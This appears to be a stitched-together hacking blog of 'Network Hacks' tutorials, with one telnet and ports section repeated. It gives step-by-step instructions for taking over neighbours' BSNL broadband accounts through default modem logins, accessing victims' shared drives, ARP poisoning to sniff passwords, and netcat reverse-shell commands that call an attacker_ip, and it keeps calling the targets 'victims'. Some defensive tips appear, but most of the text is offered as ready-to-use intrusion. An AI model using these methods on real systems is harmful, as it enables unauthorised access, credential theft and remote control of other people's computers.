If you want to fool your friend or colleague, then you can use this simple java script to hack any web site.
Just copy and paste this JavaScript code in the address bar of your web browser and hit enter, and any web page/ web site will become editable just as a notepad/MS Word document.javascript: document.body.contentEditable = 'true';document.designMode = 'on'; void 0
Other than fooling your friends, this method is useful for you too: in case your mouse stops working, you can easily place the cursor on any web page and copy the text from it !
Showing posts with label Network Hacks. Show all posts
Showing posts with label Network Hacks. Show all posts
I encountered with this article on net while browsing and after reading this article found the easy hack for BSNL, i was searching for so long... with this article you are able to hack BSNL Broadband of someone say your neighbour's BSNL Brooadband Account (actually the person whose IP is known to be vulnerable). Here, once you are able to obtain the password of victim, you can easily use his BSNL connection and thus hack his BSNL broadband connection account.
I have added an article to Speed up BSNL Dataone Broadband Surfing at my post Speed up BSNL Dataone.
Bsnl DataOne Broadband continues to grow as one the most popular broadband services in India with high speed facilities of upto 2 mpbs. But a large number of users of this service are vulnerable to hacker attacks because discovering and hacking the vulnerable victims of this network is shockingly simple. If you are a Bsnl Broadband user then immediately assess the security of your internet connection and take appropriate steps to secure yourself.
First lets see how simple it is to hack bsnl dataone broadband usernames and passwords. For this you shall need a ipscanner tool called Angry IP Scanner http://www.angryziber.com/ipscan/ or anything similar.
Ok so lets begin... Get your IP from :
www.ipmango.com
Step 1 : Start Angry IP scanner and goto options > ports. Type in 80 in the first ports textbox and click ok.
Then goto options > options ; in the display section select "only open ports" and click ok&save.
Now on the main screen put in the ip scan range as something 59.*.0.0 - 59.*.255.255 (for e.g. 59.95.2.3) and click the start button. And the list that shall follow next are the victims. In this example we choose the range 59.95.0.0 - 59.95.255.255. You will be surprised at the number of victims you discover.
Step 2 : Pick the ip-address of any of them and open up your browser and type in
http://59.*.*.* (the * should be replaced by the values from the ip you are using. A box will popup asking for username and password. Enter the username : admin and password : admin .There is a high chance that you will be able to login with that username and password.
admin-admin is the default username and password that is set while manufacturing the adsl modem devices.
What follows next is the modem administration panel.
Simply search for the "WAN" option and click it. On the next page you will find the username and password of that user. now right-click on the page and click view source. in Mozilla/Opera This frame -> view frame source
Now in the source code search for this : INPUT TYPE="PASSWORD"
and the value field of this input element will have the password
if its not there as in case of D-Link DSL 502T ADSL Routers the search for this
input type="hidden" name="connection0:pppoe:settings/password" value="password" id="uiPostPppoePassword"
and the value field will have the password
Well each steps take less than 1 minute so getting username passwords wont take even 2 minutes and is easier than sending a mail.
And this exposes the weak security of bsnl broadband users.
Well this is not a weakness but more of a mis-configuration which leads to insecurity. If you understand networking then you would probably realise that it was merely logging into the remote administration service of the modem and nothing else. This was not really hacking but a simple search of victims who are absolutely ignorant of their weak security on the internet.
Most routers have an option where remote management can be disabled. In other words, you can only connect to the configuration interface from the internal network, not the WAN(Internet) side. You would definitely want to make sure remote management is not active to protect yourself.
Note : On SmartAX MT880 eventhough Remote Management is disabled , it permits remote logins from over the Internet. So change your mode administration passwords immediately.
The problem is that the professionals at Bsnl are ignorant of such simplicity of networking and unable to advise the users or guide them to take proper security measures leaving their customers and themselves absolutely unsecure.
Now lets check a few more options related to this issue. A bsnl broadband modem can be used in two modes. RFC Bridged mode and pppoe mode.
In the RFC Bridged mode the device behaves like a modem device that is attached to your computer and you use some dialup software to dial into the isp through this modem.This is PPPOE from the PC and the adsl device is a good modem. This mode is safer as the username password are on your pc and nothing is on the modem.
In the PPPOE mode the adsl device becomes a router - a distinct network device with many features enabled. In this mode the username password is stored in the modem which will dial to the isp and establish the internet connectivity. The computers will just connect to this router who would be their primary gateway. Now this is the mode where the risk exists.
If remote administration is enabled the remote users from the internet can login to this modems administration panel. Now the main problem is the default admin username-password which most users dont change due to ignorance. "admin-admin" is pair that works in most cases giving you full access to the modems internals. What follows next is simple as drinking a glass of orange juice.
Many users install firewalls and think they are safe, but they fail to understand that the firewall protects their PC not the "router" since the topology is like
(PC) -> router -> internet
So how should you secure yourself ?
1. Use RFC Bridged mode if it is sufficient for you.
2. Change the default admin password of your modem.
3. Disable wan ping reply . ( this will prevent the hackers from directly discovering your pc when it is on the internet)
4. Disable remote configuration feature.
5. Check your broadband usage on a regular basis and compare it with your own surfing schedules to check whether someone else has used it or not. If suspiscious usage is indicated then immediately change your broadband password as well. Or a better suggestion would be to change broadband passwords on a regular basis.
Try to spread the security awareness to your friends and other relatives who are using Bsnl broadband and encourage them to secure their internet connectivity.
Enjoy HaCkInG.....
In my previous post Tutorial: How to hack remote computer using IP Address., i have mentioned method used to hack victim computer provided you have his computer IP Address. I received immediate response from readers asking me to post the methods used to know IP address computer. Hence, i have mentioned over here the popular methods used to hack and find IP Address of victim computer so that you can apply hacking trick mentioned in my previous post mentioned above. The tutorial also mentions about obtaining IP Address of victim computer over msn.
Getting Ip Address:-
To see the ip all computers you are connected to (web servers, people attempting to hack into your computer).
Go to dos (start>run>type command) and run the netstat command. Type netstat /? for details.
Type netstat -r at the command prompt to see the ip of all computers you are connected to
In MSN (and other programs) when you are chatting to someone everything you type goes through the MSN servers first (they act as a proxy) so you see their ip rather than who you are chatting to. You can get round this by sending them a file as MSN doesn't send file through its proxy.
When you type the netstat -r (or -a for a different view) the ip's are under the foreign address table. The ports are separated by a : . Different programs use different ports, so you can work out which ip's are from which program.
Connecting to other computers and what ports are:--
Servers send information. Clients retrieve. Simple.
Windows comes with a built in program to connect to other computers called telnet.
To start Windows Telnet Start menu> Run> type Telnet. Click connect> remote system
Ports are doors into computers. Hosts are computer names
(ip number or a name that is translated into the ip automatically)
Different programs open different ports, but they always open the same ports so other computers know which port to connect to. You can get a port list listing all the different ports, but a basic one is:
11 :- Sends info on the computer
21 :- FTP (File transfer program)
23 :- Telnet (Login to the computers command line)
25 :- Smtp (Sends mail)
80 :- Http (Web pages)
There are thousands of different programs using different ports. You can get programs called port scanners which check a computer for all ports up to a certain number, looking for ways in. You can port scan a computer looking for ways-in.
Anyway, back to telnet.
Type http://www.yahoo.com as the host and port as 80 the click connect.
If nothing happens, you're in. Wow. You are connected to Yahoo's server.
You can now type http commands (you are connected to an http server, so it supports http commands). Ie. on an ftp server you can type open and it will do something. On an http server it will just wonder what the hell you are on about.
Type get / http/1.0 then press enter twice to get the file on the server at / (try /index.html) etc.)
Allowing dos and regedit in a restricted Windows
A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0
Save it as something.reg then run it. Simple.
Making non deletable, unreadable folders
Tested on Windows 95/98:By holding down alt, then typing numbers on the number pad (right of the keyboard) you can create special characters. If you hold down alt, then press 1, then let go, you got the ascii character 1. You try some random numbers. This goes all the way up to 255. Open a dos prompt, and type md (alt+1+9+4)some word. md is the dos command to make a directory, now try and open the directory in Windows, you can't. To open it, type ren (alt+1+9+4)some word some word (ren is the dos command to rename)
Proxies
Proxies are computers that you connect through, hiding your computer. Most aren't anonymous, they give away your ip. Some are. Good anonymous proxies: mail.uraltelecom.ru:8080 and 194.247.87.4:8080.
Different programs require different ways of using proxies. To do it in internet explorer 5 go to tools, internet options, connections, settings. In the above proxies they are in the format host:port
Password files:If you lock yourself out of Windows stuff, all passwords are stored in files called *.pwl in C:windows. In Unix, passwords are normally stored at etc/passwd. This can be viewed using the cat command (prints a file to screen): cat etc/passwd. Make sure you're passwords are shadowed (not actually in etc/passwd). Also make sure they aren't in a file called shadow, especially not in a file called etc/shadow.
Unix passwords are encrypted far better than Windows one's (to be fair, Windows 95 isn't designed for users), but can still be cracked through a program called jon.
Securing your website:Ftp Ftp is how you upload your web site, if someone finds out the password they can add/ delete anything. Brute forcing is the most common ftp attack, where a program guesses every possible combination (or from a list of words). An eight letter alpha-numeric word is almost impossible to crack, as the process is slow.
The real problem is with server side scripting. Pages other than plain html (ie. pages that perform commands on the host) are a security risk. The main problems are scripts that write to pages (guest books etc.). If when the guest book is viewed it has a .shtml extension, then it can execute commands.
So friends....i have tried my best to inform you about the methods used to hack computer remotely using victim computer by using IP Address. The tutorial thus explains all ways used to obtain IP Addresses of computer you want to hack remotely and access it data/database.
Enjoy HaCkInG.....
Telnet is the basic hacking tool, which every hacker must know how to use before he can even think about Hacking. It can be used to connect to remote computers and to run commands by simply typing them in it's window.Telnet does not use the resources of the client's computer but uses the resources of the server to which the client has connected. Basically it is a program that you will be using to connect to your victim's computer. It just requires that you and your victim are both conneced to the internet.
How can I connect to a remote computers using telnet?
Telnet can be started by going to start -> run and typing telnet Once the Telnet windows pops up click on Connect->RemoteSystem then in the host name type the host i.e. the IP address of the remote computer or the website you want to connect to . Then in the Port select the port
you want to connect to . You can only connect to ports which are open on the host computer.Almost always leave the TermType to vt100.We use vt100 as it is compatible with most monitors . Then click connect and you will be connected to the remote machine in some time. The syntax of the telnet command from DOS prompt is
C:\>telnet
By default port is taken as 23. Scroll down and read more about ports
What is an IP Address?
Like in this world , everyone has a Home Address so that he can be contacted on that address , similarly all computers connected to the Internet are assigned a unique Internet Protocol or IP address which can be used to contact that particular computer. An IP is simply the address of a particular computer . Every computer connected to the internet has a differnet IP address.
An IP address is of the form: xxx.xxx.xxx.xxx .You can find your own IP by going to start->run and typing winipcfg.If you need to connect to a your friend's computer then you need the IP address of his computer . There are many ways of finding out the IP address of a person's computer without letting him know.
An IP address is of the form: xxx.xxx.xxx.xxx .You can find your own IP by going to start->run and typing winipcfg.If you need to connect to a your friend's computer then you need the IP address of his computer . There are many ways of finding out the IP address of a person's computer without letting him know.
What exactly is a Port
There are two kinds of ports-Physical(HardWare) and Virtual(Software) You may be thinking of ports to be the slots behind your CPU to which you connect your Mouse or Keyboard or your monitor. These sockets are called physical ports . We are here interested in only virtual ports.
It is nothing physical but it is kind of a virtual pipe through which information can go in and out of the computer. A particular computer can have a large number of ports. All ports are numbered .Now at each port a particular service is running. A software which runs on a port is called service . For interchanging different kinds of information different ports are used. A typical list shows the various ports
Ping : 7
Systat : 11
Time : 13
NetStat : 15
SSH : 22
Telnet : 23
SMTP : 25
Whois : 43
Finger : 79
HTTP : 80
POP : 110
You can connect to a remote computer at a particular port. When you are connected to that port then you can interchange information related to that particular port only. Ports can be open or closed. If a particular port of a computer is closed then you can not connect to that computer on that port. Generally most of the computers have atleast 5 or 6 ports
Whats a Daemon?
A daemon is a program that runs at ports. You can consider it to be a software that manages the flow of information through the port . All the ports can have different daemon / services running on them
Port Scanning??
It is the first step in finding a hackable server running a daemon.
Like softwares can have bugs , similarly daemons can have a hole or a vulnerability. A hacker can utilize this hole for his purpose. Say you want to hack into someone's server , what do you
do ? You need the IP address of the computer you want to connect to . This is the first basic
step. Once you have the IP , you need to know which port is open so that you can connect to it . Every port may not be open so you need to find out a list of open ports which are running a daemon.Once you have the list of open ports on the victims computer then you can connect to any one of those ports .
For this purpose we have port scanners. You just need to feed the IP address into the port scanner and it will give you the list of all the open ports of that IP.Some port scanners,alongwith the list of open ports also gives the service running on each port and its vulnerabilities. Once you have got the list of open ports then connect to each of them one by one and see what daemon or service they are running.
But one thing you need to be careful about before port scanning is that most port scanners are very easily detected and can easily be traced and you have no excuse if you are caught doing a port scan. It a sure sign of Hacker Activity and if the host is running the right kind of Sniffer software maybe Etherpeek then the Port scan can be easily detected and the IP of the user logged . Once your IP is logged then you can be easily traced thru you internet service provider, so be careful with port scanning.
Enjoy HaCkInG.....
ARP Poisoning
Introduction
As a reference to my post Mitm, arp poison routing, network sniffing using cain and able, this article is meant to teach how ARP works and how one can go about poisoning the ARP cache and enable them to completely sniff traffic over a switched network. This article assumes that you already have access to a switched network. ARP Poisoning is a way of tricking computers over a switched network to send traffic through you before going to other computers or out to the internet.ARP
Address Resolution Protocol (ARP) is a dynamic protocol to map a 32bit IP Address to a 48bit physical hardware address (MAC Address). If one system over a network wants to communicate with another system over a network, it will first check if it already knows that systems MAC Address and if not it will send out an ARP broadcast which will look for the hardware address of the destination system.
There are four types of ARP messages but the main two are ARP Request and ARP Reply. When a system starts broadcasting an ARP Message it sends out an ARP Request. An ARP Request is a message sent to the broadcast address, the message contains the sends IP Address and MAC Address and requests the MAC Address of the given IP, and then it waits for an ARP Reply. An ARP Reply replies to the ARP Request and tells the computer sending the ARP Request what its MAC Address is.
The ARP Cache is a temporary storage place that holds a table with MAC Address and IP Addresses. If a computer wants to talk to another computer and it doesn't already have its MAC address stored it will send an ARP Request. If the Computer that is sending the ARP Reply does not have the requesting computers MAC Address it as well will save it to cache. So now both computers have the MAC Address. A system cannot communicate with another until it has its MAC Address.
ARP is a stateless protocol with no authentication built in so any ARP Reply, whether there was a request or not will update the ARP Cache on a computer. All systems will accept an ARP Reply regardless if there was an ARP Request sent.
The Switch
Media Access Control (MAC) is a standard addressing system for all Ethernet devices. Most networks use switching devices and in a switched network packets are only sent to the port they are destined to according to their destination MAC Address. Switches maintain a table that associates MAC Address with certain ports. A switch constructs a route table by extracting the source MAC Address from the Ethernet frame of each packet processed. If any entry in the route table does not exist the switch will forward the packet out all of its ports.
Within a switched network packets are only sent to the destination device making it, so other devices cannot see the traffic.
Poisoning
There are a few tricks to manipulating a network to send traffic through you before sending it to the packets to the destination device. One of these methods is referred to as ARP Poisoning and it is when you send a customized ARP Reply to different computers across the network tricking their computers into updating their ARP cache with new MAC Address (Your MAC Address). So now each time computer1 wants to send a message to computer2 it gets the MAC address of computers IP and sends the message to that MAC address. But if that MAC address is changed to your MAC address, by poisoning the ARP Cache the message will be sent to you instead. After packets are sent to you, you must forward the packets to the computer it was meant to go in the first place or DoS will be caused and the hosts will not be able to communicate anymore. Another factor that you must weigh in are timeouts, if there is no traffic over the network, after a timeout period the ARP cache of the computers across a network will be flushed out and you will need to send another constructed ARP reply to the hosts so that traffic is once again forwarded to you. One way to fix this is to automatically send ARP Replies every 10 seconds or so to the hosts that you want to poison.
Sniffing
Sniffing is the act of capturing packets that aren't necessarily meant for public viewings. When you sniff packets across a network you can come across many interesting things such as emails, instant messages, and even passwords to email accounts and ftp accounts and many other types of passwords which in my experience are more often than not, left unencrypted. There are many tools out there that will automatically scan packets for username and password info. You can also see what websites the person is going to.
Wireless
If an access point is connected directly to a hub or a switch than it leaves the entire wireless network open to ARP Poisoning. Wireless internet is becoming more and more used and it is hard to be anywhere that does not have a wireless access point, especially in well populated areas. This leaves a huge security risk to most networks because in theory someone with a laptop could go into the lobby of a business and get on their network by cracking their WEP key or just simply connecting if they don't even have WEP. The attacker would then just need to poison the ARP Cache of the different computers across the network and then forward all traffic through you. You would get their passwords and usernames, the websites they go to and anything else that you feel would be fun to look at.
Enjoy HaCkInG.....
Netcat has a compile-time option that makes netcat execute a program for the connecting or listening process. This is useful for sending a shell to the attacker. Also note that the switches might be different on different platforms, ie. OpenBSD is lacking the -p switch.
To download the Unix/Win version of the tool, check the links below. The great thing about this tool is that it is free and still has many uses. This paper will not cover everything netcat can do, so just explore it's ways.
Unix: http://www.atstake.com/research/tools/netw...ities/nc110.tgz
Win: http://www.atstake.com/research/tools/netw...ties/nc11nt.zip
Alternatives to netcat are listed below. Cryptcat encrypts traffic and could be useful to avoid detection, transfer sensitive forensics-data or for example encrypt the data while you do a penetration test against a customer over the Internet. SoCat is netcat on steroids, some like it, some don't
http://farm9.com/content/Free_Tools/Cryptcat - Encrypted traffic with Blowfish
http://www.dest-unreach.org/socat/ - Netcat with extended design & features
We also want to mention stunnel, as it can be used as standalone or in conjunction with netcat to check SSL-enabled services.
http://www.stunnel.org/ - Useful if you need to do stuff with HTTPS
Ok, now that we are done with this, lets check some examples this can be used for. We start with some transferring of files and move on to portscanning, banner-grabbing and finally how to achieve an interactive shell, aka shoveling a shell.
Transferring files
When we want to send a file from a host to another with netcat, it is quite simple. We set up the receiving host to listen on a specific port and put all the data received into a file. We need to set a timeout so the listener notices when there is no more data coming and it can close gracefully.
-l = listens for incoming connections
-p = what port to listen on
-v = verbosity level, use twice for more information
-w = timeout
-n = dont resolve IPs
On the senders end we simply connect to the receivers listening port and give the file as input. The filetransfer goes smoothly as long as you remember to initiate the sending before the timeout.
Listener: nc -vvn -l -p 3000 -w 3 > file
Sender: nc -vvn xxx.xxx.xxx.xx 3000 <>
This however requires you to bind the spoofed IP to your interface, in Linux it can be done by typing 'ifconfig eth0:n spoofed_ip', where n is the next free alias. This will cause problems with the host you're spoofing, as you broadcast the same IP on the network. To perform similar stuff without causing that much problems, you could check out hping (http://www.hping.org).
Portscanning
It is also possible to do portscans with netcat with using the flag -z (zero I/O mode), that only connects and disconnects from a port. To perform a UDP-scan, you use the flag -u.
TCP: nc -vvn -z xxx.xxx.xxx.xxx start-end
UDP: nc -u -vvn -z xxx.xxx.xxx.xxx start-end
In the snippet below we attempt to scan TCP-ports 79 to 81 to find open ports on a target. As you can see, closed ports report "Connection refused" and open ports report "open". UDP scan output is basically the same.
Code:
:~$ nc -vvn -z 10.0.0.1 79-81
(UNKNOWN) [10.0.0.1] 81 (hosts2-ns) : Connection refused
(UNKNOWN) [10.0.0.1] 80 (http) open
(UNKNOWN) [10.0.0.1] 79 (finger) : Connection refused
sent 0, rcvd 0
Banner-grabbing
In banner-grabbing we send some specific strings to the target from a file and get in response, if any ports are open, the results will be outputted to your screen. In the example below we have included some basic for-loop for scanning multiple targets a time, for example machines we have found in our port-scan above.
Get.txt would contain head / http/1.0 and two returns, or just two returns and it would work on other ports too. Iplist.txt would contain IPs that you want to scan.
Win: for /f %1 in (iplist.txt) do nc -vvn %1 80 < Get.txt Unix: for f in `cat iplist.txt`; do nc $f 80 < Get.txt; done; Code: :~$ for f in `cat iplist.txt`; do nc $f 80 < get.txt; done (UNKNOWN) [10.0.0.2] 80 (http) : Connection refused HTTP/1.0 200 OK Server: Microsoft IIS/5.0 Content-Type: text/html; charset=iso-8859-1 Date: Thu, 29 May 2003 09:35:08 GMT Last-Modified: Sun, 18 May 2003 11:51:07 GMT Accept-Ranges: bytes Connection: close Content-Length: 13640 By now you probably have realized that you might actually also be able to send an exploit against the target by using netcat.. When HTTPS is involved, you might want to look into stunnel by tunneling nc through it or just using stunnel itself: (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel -c -r host:port Shell Shoveling - TCP This is probably the part that some have been waiting for, shell shoveling. We assume that you have managed to upload netcat to the target in some way, wether it has happened through a vulnerable web-application or whatever. We also assume you are able to issue commands on the target (how else could you use your netcat that is sitting there?). If there is no firewall protecting the target, or there is a misconfiguration in the firewall (ie. allowing tcp/53 to all hosts), the attacker could put up a nc-listener that shovels back an interactive shell the following way assuming -e flag has been compiled in the binary): On the target: nc -l -p port -e shell (shell can be /bin/sh or cmd.exe for example) From the attacker: nc target_ip port In the example below, the attacker connects to the listening netcat and starts issuing commands. As you see, the answers from the target comes directly and the output might be a bit hard to read in sense of where command begins and where output ends. Code: :~$ nc -vvn 10.0.0.1 3000 Connection to 10.0.0.1 3000 port [tcp/*] succeeded! id uid=1000(nobody) gid=1000(nogroup) ls vulnerable.cgi nc cd .. ls cgi-bin index.html mega_secret_document If there is however a firewall in place that stops the attacker from connecting to a specific *free* port on the target-system, they could try to get the target to connect back to them. This is possible only if the firewall allows certain outgoing connections: On the attacker: nc -l -p port From the target: nc -e /bin/sh attacker_ip port In the case where nc has not been compiled with the -e option, there is still ways to shovel back a shell to the attacker. By piping stdin to another listener and stdout to another, the attacker gets one console for issuing commands and one console for the results: On the attacker: nc -l -p port1 nc -l -p port2 From the target: nc attacker_ip port1 | /bin/sh | nc attacker_ip port2 Shell Shoveling - UDP In the case where TCP is restricted, one has to check for possible UDP avenues. UDP however is unreliable, but it can work, and allows spoofing if there is need for it. After testing it, we concluded that it has to be used in the two console way. It wasn't working without echoing an initial character: On the attacker: nc -l -u -p port1 nc -l -u -p port2 From the target: echo "" | nc -u attacker_ip port1 | /bin/sh | nc -u attacker_ip port2 This way however means that there is two udp-ports available. There is another way where one port is enough. This usually means port 53 as it could be wrongly configured at the firewall level, allowing it both ways: On attacker: nc -l -u -p 53 On target: nc -u -l -p 53 | /bin/sh | nc -u attacker_ip 53 From attacker: cat | nc -u target_ip 53 By using this way, the attacker has again a command console and an output console available. One should remember that if using ports under 1024, there must be access equivalent to system/root/administrator available. UDP method would not work behind a NATted environment. End notes As an end note, we like to say that use your own imagination. Netcat is not called the Swiss Army Knife of networking tools for nothing. This post is not written by me. I just found it on net while browsing and hence added it here for my readers.
Enjoy HaCkInG.....
How to access a folder or hardrive on a computer/pc on your network.
In my post Access computer remotely, i have mentioned about use of backdoor to access or hack computer remotely .The following article explains the method used by most hackers to access someones computer/hard disk remotely using command prompt in your network ie network computer hacking.
Step 1
Get a good IP scanner angry ip scanner is a good one you can get it here: http://www.angryziber.com/ipscan/
Step 2
Open a dos prompt
Do this by going to start/run
enter command.com and press ok
this is what you see:
c:\windows>
Now this is what you have to do ---->>>
Replace 255.255.255.255 with the victims IP address.
c:\windows>nbtstat -a 255.255.255.255
If you see this your in:
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------------------------
user<00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered
MAC Address = xx-xx-xx-xx-xx-xx
---------------------------------------------------------------
If you don't get the number <20>.
The victim disabled the File And Printer Sharing, find a another victim.
Step 3
type down:
c:\windows>net view \\255.255.255.255
if the output is like this:
Shared resources at \\255.255.255.255
ComputerNameGoesHere
Sharename Type Used as Comment
------------------------------------------------------------
CDISK Disk xxxxx xxxxx
The command completed successfully.
"DISK" shows that the victim is sharing a Disk named as CDISK
Step 4
type down:
you can replace x: by any letter you want but not the letter of your own drive.
CDISK is the name of the shared harddrive.
c:\windows>net use x: \\255.255.255.255\CDISK
If the command is successful you are a small time hacker.
Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:.
Note to newbies: This hack will only work if you have the ip of someone on your network. It will not work if the ip of the person you want to "hack" is not on your network.
Tip: If you can only access your targets shared folder put a batch file in their shared folder with the command C=C if they open it,it will share their hardrive.
Enjoy HaCkInG.....
Telnet is the basic hacking tool, which every hacker must know how to use before he can even think about Hacking. It can be used to connect to remote computers and to run commands by simply typing them in it's window.Telnet does not use the resources of the client's computer but uses the resources of the server to which the client has connected. Basically it is a program that you will be using to connect to your victim's computer. It just requires that you and your victim are both conneced to the internet.
How can I connect to a remote computers using telnet?
Telnet can be started by going to start -> run and typing telnet Once the Telnet windows pops up click on Connect->RemoteSystem then in the host name type the host i.e. the IP address of the remote computer or the website you want to connect to . Then in the Port select the port
you want to connect to . You can only connect to ports which are open on the host computer.Almost always leave the TermType to vt100.We use vt100 as it is compatible with most monitors . Then click connect and you will be connected to the remote machine in some time. The syntax of the telnet command from DOS prompt is
C:\>telnet
By default port is taken as 23. Scroll down and read more about ports
What is an IP Address?
Like in this world , everyone has a Home Address so that he can be contacted on that address , similarly all computers connected to the Internet are assigned a unique Internet Protocol or IP address which can be used to contact that particular computer. An IP is simply the address of a particular computer . Every computer connected to the internet has a differnet IP address.
An IP address is of the form: xxx.xxx.xxx.xxx .You can find your own IP by going to start->run and typing winipcfg.If you need to connect to a your friend's computer then you need the IP address of his computer . There are many ways of finding out the IP address of a person's computer without letting him know.
What exactly is a Port
There are two kinds of ports-Physical(HardWare) and Virtual(Software) You may be thinking of ports to be the slots behind your CPU to which you connect your Mouse or Keyboard or your monitor. These sockets are called physical ports . We are here interested in only virtual ports.
It is nothing physical but it is kind of a virtual pipe through which information can go in and out of the computer. A particular computer can have a large number of ports. All ports are numbered .Now at each port a particular service is running. A software which runs on a port is called service . For interchanging different kinds of information different ports are used. A typical list shows the various ports
Ping : 7
Systat : 11
Time : 13
NetStat : 15
SSH : 22
Telnet : 23
SMTP : 25
Whois : 43
Finger : 79
HTTP : 80
POP : 110
You can connect to a remote computer at a particular port. When you are connected to that port then you can interchange information related to that particular port only. Ports can be open or closed. If a particular port of a computer is closed then you can not connect to that computer on that port. Generally most of the computers have atleast 5 or 6 ports
Whats a Daemon?
A daemon is a program that runs at ports. You can consider it to be a software that manages the flow of information through the port . All the ports can have different daemon / services running on them
Port Scanning??
It is the first step in finding a hackable server running a daemon.
Like softwares can have bugs , similarly daemons can have a hole or a vulnerability. A hacker can utilize this hole for his purpose. Say you want to hack into someone's server , what do you
do ? You need the IP address of the computer you want to connect to . This is the first basic
step. Once you have the IP , you need to know which port is open so that you can connect to it . Every port may not be open so you need to find out a list of open ports which are running a daemon.Once you have the list of open ports on the victims computer then you can connect to any one of those ports .
For this purpose we have port scanners. You just need to feed the IP address into the port scanner and it will give you the list of all the open ports of that IP.Some port scanners,alongwith the list of open ports also gives the service running on each port and its vulnerabilities. Once you have got the list of open ports then connect to each of them one by one and see what daemon or service they are running.
But one thing you need to be careful about before port scanning is that most port scanners are very easily detected and can easily be traced and you have no excuse if you are caught doing a port scan. It a sure sign of Hacker Activity and if the host is running the right kind of Sniffer software maybe Etherpeek then the Port scan can be easily detected and the IP of the user logged . Once your IP is logged then you can be easily traced thru you internet service provider, so be careful with port scanning.
Enjoy HaCkInG.....
Another way that hackers use to get inside networks, like hacking teamspeak servers or hacking windows terminal services, is thanks to the unknown help of the network users. How? Simple, they send emails with attachments that will execute a worm, virus or Trojan that will spread into the network.
If it is a Trojan horse, this little program will convert the computer into a zombie, under the control of it's creator. Thanks to it, the hacker will gain a way to enter the network without being detected.
A virus used for network hacking is a bit different. Although it spreads in similar ways to Trojan horses (through email attachments or downloaded files from peer to peer networks), they cause havoc and destruction inside the network. A hacker will make use of this panic situation and try to enter the system while it's defenses are down. It may be considered a parallel to the siege strategies of ancient history, when cities were intentionally infected with diseases by their enemies.
Worms are similar to viruses, but have a slight difference. They are self contained and do not require of other file, as a virus does, to infect a computer. Their main application for network hackers are installing backdoors inside computers. Once the new "door" is secure, the hacker will use that entrance to establish a position inside the network.
Hackers can even install a key logger for remote password hacking and the user will never know how they did it! Of course, someone could think that all of the fault is with the operating system Windows, but in reality, the amount of people who are hacking Windows XP is not because the program is bad. It is because most of the planet uses it as it's operating system.
What Tools Does He Use?
If you are a hacker who just began his activities, it's most probable that you will download one of the dozens of free tools that are available in the internet. These programs have been previously made and tested by more experienced hackers. When you trespass the barrier of experience and become a seasoned hacker, then you may start making improvements over these old programs. Or even you may start creating your own network hacking software.
Since internet is always evolving (getting bigger and implementing new tools and software) it is an almost infinite source of fun for a hacker who wants to test his skills.
If you want to make scan the ports of a network, there are several freewares available. The most common ones are Portscan 2000, Scanmetender Standard, Angry IP Scanner, Netmon , FastTCPPortScanner, nmap and Unicornscan.
In the case of worms, viruses and Trojan horses, the list is almost infinite. And with each month that passes, hackers improve or make slight modifications to these programs so they are not detected by the security systems.
And, if you are using a wireless network, do not think that you are more secure than a traditional network. As a matter of fact, hacking wireless networks is easier for a hacker since many users don't know how to configure it.
What Is The Damage When Automated Tools Are Used?
It doesn't matter if you are a network hacker who is trying a windows 2000 password hack or a system administrator that wants to defend from a password hacker. In either case, you need to learn the tricks of this job and maintain yourself updated on the latest trends and network hacking tools. Consider how the world was fifteen years ago, with virtually no Internet and with most computers using DOS (the precursor to Windows). Although those good old days are gone, network hacking hasn't, and will never disappear.
Hacking Servers: Organized Crime
In the old days, twenty years ago, hackers didn't have the same variety of tools for network hacking. With the appearance of the Internet, network hacking tools are now widespread phenomena. And anyone who wishes to become a hacker, he/she may do so. They only need a computer, an internet account, some knowledge on using search engines and they can start to hack; password windows, for example, will become an easy exercise for him.
What Are The Different Types Of Servers That Hackers Prefer?
The most preferred kind of server is those related to government agencies and big companies. Have you ever wondered how many attacks does a company like Microsoft receive each day? Although there are millions of computer users around the world who don't maintain adequate security of their computers, most hackers ignore them because they are too easy to access. If they want to increase their reputation and their skills, they know that the bigger fish offer a bigger challenge.
How Does The Hacker Gain Entry To The Server?
It doesn't matter if it is computer security or the security of a building. If someone wants to trespass it, he will look for the weakest points in the system. If you want to penetrate a building, you need to make some surveillance first. Learn the movements of the guards, find out what kind of equipment are they using and maybe make some small test to check how good the security is.The same thing happens with a hacker that wants to get into a determined network. He will need to make some surveillance first, looking for the weak spots. For doing this, there are a series of tools that a hacker can use, like network password hacking programs that have been developed by password hackers. But the most common tool is the port scanner.
Imagine your network as a bus terminal, where you have buses that come and go in determined periods of time. The same thing passes inside a network, where information comes and goes depending on the requirements of the users. With a port scanner, a hacker can look for those entrances in the terminal that don't have adequate security. Once he has assured that it is vulnerable enough, he will use it for getting inside. This is also known as remote hacking.
